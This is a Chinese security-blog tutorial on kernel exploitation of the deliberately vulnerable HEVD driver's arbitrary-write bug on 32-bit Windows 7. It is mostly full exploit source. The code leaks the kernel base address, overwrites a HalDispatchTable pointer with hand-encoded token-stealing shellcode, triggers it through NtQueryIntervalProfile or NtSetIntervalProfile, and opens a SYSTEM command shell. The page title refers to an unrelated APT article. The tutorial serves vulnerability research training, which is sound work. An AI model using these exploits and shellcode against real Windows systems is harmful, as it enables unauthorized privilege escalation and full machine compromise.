Kimsuky APT组织使用新型的AppleSeed Android组件伪装成安全软件对韩特定目标进行攻击-爱代码爱编程
Windows Kernel Exploitation Notes(二)——HEVD Write-What-Where
本文一共2704个字 17张图 预计阅读时间15分钟
2.本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载
3.本篇文章是Windows Kernel Exploitation Notes系列文章的第二篇HEVD Write-What-Where
4.本篇文章十分适合漏洞安全研究人员进行交流学习
5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽
环境配置及基础知识见上一篇,本篇及后续篇章不不再赘述。本篇使用环境如下:
-
物理机OS:Windows 10 20H2 x64
-
物理机WinDbg:10.0.19041.685
-
虚拟机OS:Windows 7 SP1 x86(6.1.7601.17514)
-
VMware:VMware Workstation 15 Pro
-
Visual Studio 2019
0x01 Root Cause Analyses
触发漏洞源码如下:
NTSTATUS
TriggerArbitraryWrite(
_In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
PULONG_PTR What = NULL;
PULONG_PTR Where = NULL;
NTSTATUS Status = STATUS_SUCCESS;
PAGED_CODE();
__try
{
//
// Verify if the buffer resides in user mode
//
ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
What = UserWriteWhatWhere->What;
Where = UserWriteWhatWhere->Where;
DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
#ifdef SECURE
//
// Secure Note: This is secure because the developer is properly validating if address
// pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()/
// ProbeForWrite() routine before performing the write operation
//
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
*(Where) = *(What);
#else
DbgPrint("[+] Triggering Arbitrary Write\n");
//
// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by 'What' to memory location
// pointed by 'Where' without properly validating if the values pointed by 'Where'
// and 'What' resides in User mode
//
*(Where) = *(What);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
//
// There is one more hidden vulnerability. Find it out.
//
return Status;
}
对比Vulnerable
版本与Secure
版本可以发现,其在执行*(Where) = *(What)
语句之前未通过ProbeForRead/ProbeForWrite
函数校验读取及写入地址的合法性。跟进ProbeForRead
函数:
首先是校验边界,其次校验地址是否处于用户空间范围内(nt!MmUserProbeAddress
其值由MiInitializeBootDefaults
函数初始化):
边界未对齐,触发STATUS_DATATYPE_MISALIGNMENT
异常:
越界则触发STATUS_ACCESS_VIOLATION
异常:
ProbeForWrite
函数在边界对齐及地址范围校验方面与ProbeForRead
类似,除此之外该函数会校验地址是否可写,可读,可访问:
编写POC如下:
#include <stdio.h>
#include <windows.h>
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
int main()
{
HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
if (dev == INVALID_HANDLE_VALUE)
{
printf("Failed!\n");
system("pause");
return -1;
}
printf("Done! Device Handle:0x%p\n", dev);
PWRITE_WHAT_WHERE Buffer;
Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));
ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));
Buffer->Where=(PULONG_PTR)0x41414141;
Buffer->What = (PULONG_PTR)0x42424242;
DWORD size_returned = 0;
BOOL is_ok = DeviceIoControl(dev, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL);
CloseHandle(dev);
system("pause");
return 0;
}
触发漏洞:
0x02 Exploit
根据上文分析,现已可以实现任意地址写。将nt!HalDispatchTable
中函数地址覆盖为Shellcode地址可以实现任意代码执行,具体见下文分析。
nt!HalDispatchTable
中HalQuerySystemInformation
与HalSetSystemInformation
是在内核初始化过程中确定的:
二者分别可以通过NtQueryIntervalProfile
与NtSetIntervalProfile
函数调用:
下面分别来介绍如何按上图执行流来执行至目标函数。NtQueryIntervalProfile
函数定义如下:
NTSTATUS
NtQueryIntervalProfile (
KPROFILE_SOURCE ProfileSource,
ULONG *Interval);
其中KPROFILE_SOURCE
是一枚举类型:
typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;
NtQueryIntervalProfile
首先校验_KTHREAD
中PreviousMode
(Offset 0x13A)字段值(关于_KPCR
,_KPRCB
,_KTHREAD
上一篇有介绍):
其次判断参数Interval
指向地址是否超过MmUserProbeAddress
:
最后判断ProfileSource
是否为零,非零值则调用KeQueryIntervalProfile
:
KeQueryIntervalProfile
会判断ProfileSource
是否为1,不为1才会继续调用nt!HalDispatchTable+0x4
如此,笔者构造Exploit中对该函数调用如下:
PNtQueryIntervalProfile NtQueryIntervalProfile = (PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryIntervalProfile");
if (!NtQueryIntervalProfile) {
cout << "[!] Failed to Get the Address of NtQueryIntervalProfile." << endl;
cout << "[!] Last error " << GetLastError() << endl;
exit(1);
}
NtQueryIntervalProfile(ProfileTotalIssues, (ULONG*)SC); //SC——>Shellcode Address
对nt!HalDispatchTable+0x4
函数调用不止KeQueryIntervalProfile
一处,所以在Shellcode中需要将其替换成原数值,通过其与HalSetSystemInformation
函数地址相差0x912来进行恢复:
INT32 KrBase = GetKernelBaseAddress();
INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8;
INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4;
INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8; //HalQuerySystemInformation_Address Offset 0x14
CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);
ZeroMemory(SC, 0x60);
__asm {
pushad;
mov eax, HalSetSystemInformation_Address;
mov ebx, HalQuerySystemInformation_Address;
mov edi, SC;
mov[edi], 0x60;
mov dword ptr[edi + 0x1], 0x000000E8;
mov dword ptr[edi + 0x5], 0x588B5800;
mov dword ptr[edi + 0x9], 0x4F488B4B;
mov dword ptr[edi + 0xD], 0xEA81138B;
mov dword ptr[edi + 0x11], 0x00000912;
mov dword ptr[edi + 0x15], 0x90901189;
mov dword ptr[edi + 0x19], 0x8B64C031;
mov dword ptr[edi + 0x1D], 0x00012480;
mov dword ptr[edi + 0x21], 0x50408B00;
mov dword ptr[edi + 0x25], 0x04BAC189;
mov dword ptr[edi + 0x29], 0x8B000000;
mov dword ptr[edi + 0x2D], 0x0000B880;
mov dword ptr[edi + 0x31], 0x00B82D00;
mov dword ptr[edi + 0x35], 0x90390000;
mov dword ptr[edi + 0x39], 0x000000B4;
mov dword ptr[edi + 0x3D], 0x908BED75;
mov dword ptr[edi + 0x41], 0x000000F8;
mov dword ptr[edi + 0x45], 0x00F89189;
mov dword ptr[edi + 0x49], 0x31610000;
mov dword ptr[edi + 0x4D], 0x0000C3C0;
mov dword ptr[edi + 0x51], eax;
mov dword ptr[edi + 0x55], ebx;
popad;
}
Shellcode如下:
NtSetIntervalProfile
函数定义如下:
NTSTATUS
NtSetIntervalProfile (
ULONG Interval,
KPROFILE_SOURCE ProfileSource);
其对参数判断位于KeSetIntervalProfile
函数内,首先校验nt!PerfGlobalGroupMask+0x4
:
其次判断ProfileSource
是否为0及是否为1:
上述两种方式思想相同,只是具体实现方式略有不同,两种方式完整Exploit如下:
//HalSetSystemInformation
#include <iostream>
#include <string.h>
#include <Windows.h>
using namespace std;
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD LoadCount;
WORD NameOffset;
CHAR Name[256];
}SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION{
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS{
SystemModuleInformation = 0xB
} SYSTEM_INFORMATION_CLASS;
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE, * PKPROFILE_SOURCE;
typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
typedef NTSTATUS(WINAPI* PNtQueryIntervalProfile)(
__in KPROFILE_SOURCE ProfileSource,
__in ULONG* Interval);
typedef NTSTATUS(WINAPI* PNtSetIntervalProfile)(
__in ULONG* Interval,
__in KPROFILE_SOURCE ProfileSource);
INT32 GetKernelBaseAddress(){
//Get NtQuerySystemInformation Address
PNtQuerySystemInformation NtQuerySystemInformation =(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation");
if (!NtQuerySystemInformation){
cout << "[!] Failed to Get the Address of NtQuerySystemInformation." << endl;
cout << "[!] Last Error:" << GetLastError() << endl;
exit(1);
}
ULONG len = 0;
//Get Buffer Length
NtQuerySystemInformation(SystemModuleInformation,NULL,0,&len);
//Allocate Memory
PSYSTEM_MODULE_INFORMATION PModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,len,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);
//Get SYSTEM_MODULE_INFORMATION
NTSTATUS Status = NtQuerySystemInformation(SystemModuleInformation,PModuleInfo,len,&len);
if (Status != (NTSTATUS)0x0){
cout << "[!] NtQuerySystemInformation Failed!" << endl;
exit(1);
}
PVOID KernelImageBase = PModuleInfo->Modules[0].ImageBaseAddress;
cout << "[>] Kernel base address: 0x" << hex << KernelImageBase << endl;
return (INT32)KernelImageBase;
}
int main() {
HANDLE hFile = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
cout << "[!] No Handle to HackSysExtremeVulnerableDriver" << endl;
exit(1);
}
cout << "[>] Handle to HackSysExtremeVulnerableDriver: 0x" << hex << (INT32)hFile << endl;
INT32 KrBase = GetKernelBaseAddress();
INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8;
INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4;
INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8; //HalQuerySystemInformation_Address Offset 0x912
CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);
ZeroMemory(SC, 0x60);
__asm {
pushad;
mov ebx, HalSetSystemInformation_Address;
mov eax, HalQuerySystemInformation_Address;
mov edi, SC;
mov[edi], 0x60;
mov dword ptr[edi + 0x1], 0x000000E8;
mov dword ptr[edi + 0x5], 0x588B5800;
mov dword ptr[edi + 0x9], 0x4F488B4B;
mov dword ptr[edi + 0xD], 0xC281138B;
mov dword ptr[edi + 0x11], 0x00000912;
mov dword ptr[edi + 0x15], 0x90901189;
mov dword ptr[edi + 0x19], 0x8B64C031;
mov dword ptr[edi + 0x1D], 0x00012480;
mov dword ptr[edi + 0x21], 0x50408B00;
mov dword ptr[edi + 0x25], 0x04BAC189;
mov dword ptr[edi + 0x29], 0x8B000000;
mov dword ptr[edi + 0x2D], 0x0000B880;
mov dword ptr[edi + 0x31], 0x00B82D00;
mov dword ptr[edi + 0x35], 0x90390000;
mov dword ptr[edi + 0x39], 0x000000B4;
mov dword ptr[edi + 0x3D], 0x908BED75;
mov dword ptr[edi + 0x41], 0x000000F8;
mov dword ptr[edi + 0x45], 0x00F89189;
mov dword ptr[edi + 0x49], 0x31610000;
mov dword ptr[edi + 0x4D], 0x0000C3C0;
mov dword ptr[edi + 0x51], eax;
mov dword ptr[edi + 0x55], ebx;
popad;
}
PULONG_PTR* PShellcode = (PULONG_PTR*)&SC;
PWRITE_WHAT_WHERE Buffer;
Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));
ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));
Buffer->Where = (PULONG_PTR)HalSetSystemInformation_Address;
Buffer->What = (PULONG_PTR)PShellcode;
DWORD size_returned = 0;
BOOL is_ok = DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL);
PNtSetIntervalProfile NtSetIntervalProfile = (PNtSetIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIntervalProfile");
if (!NtSetIntervalProfile) {
cout << "[!] Failed to Get the Address of NtSetIntervalProfile." << endl;
cout << "[!] Last error " << GetLastError() << endl;
exit(1);
}
NtSetIntervalProfile((ULONG*)SC, ProfileTotalIssues);
PROCESS_INFORMATION ProcessInformation;
ZeroMemory(&ProcessInformation, sizeof(ProcessInformation));
STARTUPINFOA StartupInfo;
ZeroMemory(&StartupInfo, sizeof(StartupInfo));
CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation);
VirtualFree(SC, 0, MEM_RELEASE);
}
//HalQuerySystemInformation
#include <iostream>
#include <string.h>
#include <Windows.h>
using namespace std;
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD LoadCount;
WORD NameOffset;
CHAR Name[256];
}SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION{
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS{
SystemModuleInformation = 0xB
} SYSTEM_INFORMATION_CLASS;
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE, * PKPROFILE_SOURCE;
typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
typedef NTSTATUS(WINAPI* PNtQueryIntervalProfile)(
__in KPROFILE_SOURCE ProfileSource,
__in ULONG* Interval);
typedef NTSTATUS(WINAPI* PNtSetIntervalProfile)(
__in ULONG* Interval,
__in KPROFILE_SOURCE ProfileSource);
INT32 GetKernelBaseAddress(){
//Get NtQuerySystemInformation Address
PNtQuerySystemInformation NtQuerySystemInformation =(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation");
if (!NtQuerySystemInformation){
cout << "[!] Failed to Get the Address of NtQuerySystemInformation." << endl;
cout << "[!] Last Error:" << GetLastError() << endl;
exit(1);
}
ULONG len = 0;
//Get Buffer Length
NtQuerySystemInformation(SystemModuleInformation,NULL,0,&len);
//Allocate Memory
PSYSTEM_MODULE_INFORMATION PModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,len,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);
//Get SYSTEM_MODULE_INFORMATION
NTSTATUS Status = NtQuerySystemInformation(SystemModuleInformation,PModuleInfo,len,&len);
if (Status != (NTSTATUS)0x0){
cout << "[!] NtQuerySystemInformation Failed!" << endl;
exit(1);
}
PVOID KernelImageBase = PModuleInfo->Modules[0].ImageBaseAddress;
cout << "[>] Kernel base address: 0x" << hex << KernelImageBase << endl;
return (INT32)KernelImageBase;
}
int main() {
HANDLE hFile = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
cout << "[!] No Handle to HackSysExtremeVulnerableDriver" << endl;
exit(1);
}
cout << "[>] Handle to HackSysExtremeVulnerableDriver: 0x" << hex << (INT32)hFile << endl;
INT32 KrBase = GetKernelBaseAddress();
INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8;
INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4;
INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8; //HalQuerySystemInformation_Address Offset 0x912
CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);
ZeroMemory(SC, 0x60);
__asm {
pushad;
mov eax, HalSetSystemInformation_Address;
mov ebx, HalQuerySystemInformation_Address;
mov edi, SC;
mov[edi], 0x60;
mov dword ptr[edi + 0x1], 0x000000E8;
mov dword ptr[edi + 0x5], 0x588B5800;
mov dword ptr[edi + 0x9], 0x4F488B4B;
mov dword ptr[edi + 0xD], 0xEA81138B;
mov dword ptr[edi + 0x11], 0x00000912;
mov dword ptr[edi + 0x15], 0x90901189;
mov dword ptr[edi + 0x19], 0x8B64C031;
mov dword ptr[edi + 0x1D], 0x00012480;
mov dword ptr[edi + 0x21], 0x50408B00;
mov dword ptr[edi + 0x25], 0x04BAC189;
mov dword ptr[edi + 0x29], 0x8B000000;
mov dword ptr[edi + 0x2D], 0x0000B880;
mov dword ptr[edi + 0x31], 0x00B82D00;
mov dword ptr[edi + 0x35], 0x90390000;
mov dword ptr[edi + 0x39], 0x000000B4;
mov dword ptr[edi + 0x3D], 0x908BED75;
mov dword ptr[edi + 0x41], 0x000000F8;
mov dword ptr[edi + 0x45], 0x00F89189;
mov dword ptr[edi + 0x49], 0x31610000;
mov dword ptr[edi + 0x4D], 0x0000C3C0;
mov dword ptr[edi + 0x51], eax;
mov dword ptr[edi + 0x55], ebx;
popad;
}
PULONG_PTR* PShellcode = (PULONG_PTR*)&SC;
PWRITE_WHAT_WHERE Buffer;
Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));
ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));
Buffer->Where = (PULONG_PTR)HalQuerySystemInformation_Address;
Buffer->What = (PULONG_PTR)PShellcode;
DWORD size_returned = 0;
BOOL is_ok = DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL);
PNtQueryIntervalProfile NtQueryIntervalProfile = (PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryIntervalProfile");
if (!NtQueryIntervalProfile) {
cout << "[!] Failed to Get the Address of NtQueryIntervalProfile." << endl;
cout << "[!] Last error " << GetLastError() << endl;
exit(1);
}
NtQueryIntervalProfile(ProfileTotalIssues, (ULONG*)SC);
PROCESS_INFORMATION ProcessInformation;
ZeroMemory(&ProcessInformation, sizeof(ProcessInformation));
STARTUPINFOA StartupInfo;
ZeroMemory(&StartupInfo, sizeof(StartupInfo));
CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation);
VirtualFree(SC, 0, MEM_RELEASE);
}
效果如下:
0x03 参阅链接
-
[NTSTATUS Values—Microsoft Docs][MS-ERREF]: NTSTATUS Values | Microsoft Docs
-
[ProbeForRead—Microsoft Docs]ProbeForRead function (wdm.h) - Windows drivers | Microsoft Docs
-
[ProbeForWrite—Microsoft Docs]ProbeForWrite function (wdm.h) - Windows drivers | Microsoft Docs
-
[Exploiting common flaws in drivers]https://shinnai.altervista.org/papers_videos/ECFID.pdf
-
[ZwQueryIntervalProfile]ZwQueryIntervalProfile
-
[ZwSetIntervalProfile]ZwSetIntervalProfile
-
[KPROFILE_SOURCE]KPROFILE_SOURCE